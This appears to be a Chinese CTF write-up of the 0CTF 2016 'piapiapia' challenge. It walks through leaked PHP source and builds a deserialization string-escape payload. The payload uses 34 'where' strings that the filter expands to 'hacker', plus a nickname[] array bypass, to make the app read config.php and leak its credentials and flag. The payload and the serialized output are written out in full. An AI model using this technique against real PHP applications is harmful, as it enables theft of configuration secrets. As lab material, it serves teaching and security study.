[0CTF 2016]piapiapia
知识点
- 反序列化字符串逃逸
扫描目录,有源码泄露,www.zip
config.php
<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; ?>
看到有flag,看来flag应该是在config.php中
update.php
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; }
这里看到nickname的过滤和其他两个的过滤不太一样,可以使用数组绕过
对上传进来的$profile进行了序列化,还使用了一个update_profile()函数
找到这个update_profile()函数
class.php一部分
public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); }
可以看到,对传入的$profile使用了filter()函数,跟进filter()函数
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
可以看到,将$string字符串中的敏感字符串替换成hacker,但是where有5位,hacker有6位,这有可能造成问题
profile.php
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>
可以看到,在对$profile进行反序列化后,读取了photo文件
先构造一下序列化
<?php $profile['phone'] = '11111111111'; $profile['email'] = '1@qq.com'; $profile['nickname'] = 'hello'; $profile['photo'] = 'upload/' . md5('12345'); echo serialize($profile); ?> #a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:8:"1@qq.com";s:8:"nickname";s:5:"hello";s:5:"photo";s:39:"upload/827ccb0eea8a706c4c34a16891f84e7b";}
可以尝试将photo的内容替换成config.php,这样就能读取到config.php中的flag了
php反序列化时,会根据相应的数字反序列化后面的字符,比如s:5:"email";,这里是5,那就会往后读取5个字符进行反序列化,多余的字符会被抛弃
前面提到,filter()函数将where替换成hacker,字符串由5个变成了6个,源码中的执行顺序为先序列化,再调用filter,就会变成
<?php function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } $profile['phone'] = '11111111111'; $profile['email'] = '1@qq.com'; $profile['nickname'] = 'where'; $profile['photo'] = 'upload/' . md5('12345'); echo filter(serialize($profile)); ?> #a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:8:"1@qq.com";s:8:"nickname";s:5:"hacker";s:5:"photo";s:39:"upload/827ccb0eea8a706c4c34a16891f84e7b";}
这里看到hacker前面的数字是5,后面的hacker长度却为6
结合前面提到的要将photo的内容替换成config.php,构造";}s:5:"photo";s:10:"config.php";}
,一共34个字符
我们将nickname的内容输入34个where,再加上构造的字符串,就能达到我们的需求
34个where,长度为170,加上34个恶意字符(不在filter函数过滤范围之内),总共有204
34个hacker,长度为204
利用hacker和where的字符数量差,挤出34个字符的空位,再往空位中补上恶意字符,最后多出来的原字符反序列化不到,被自动抛弃
再加上前面提到的用数组绕过nickname的正则过滤,即nickname[]
序列化的结果就是
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:8:"1@qq.com";s:8:"nickname";a:1:{i:0;s:204:"34个hacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/b068931cc450442b63f5b3d276ea4297";}
后面多出来的photo反序列化时会被自动抛弃
后面在profile.php页面查看源码,即可看到base64编码过的config.php,转码即可得到flag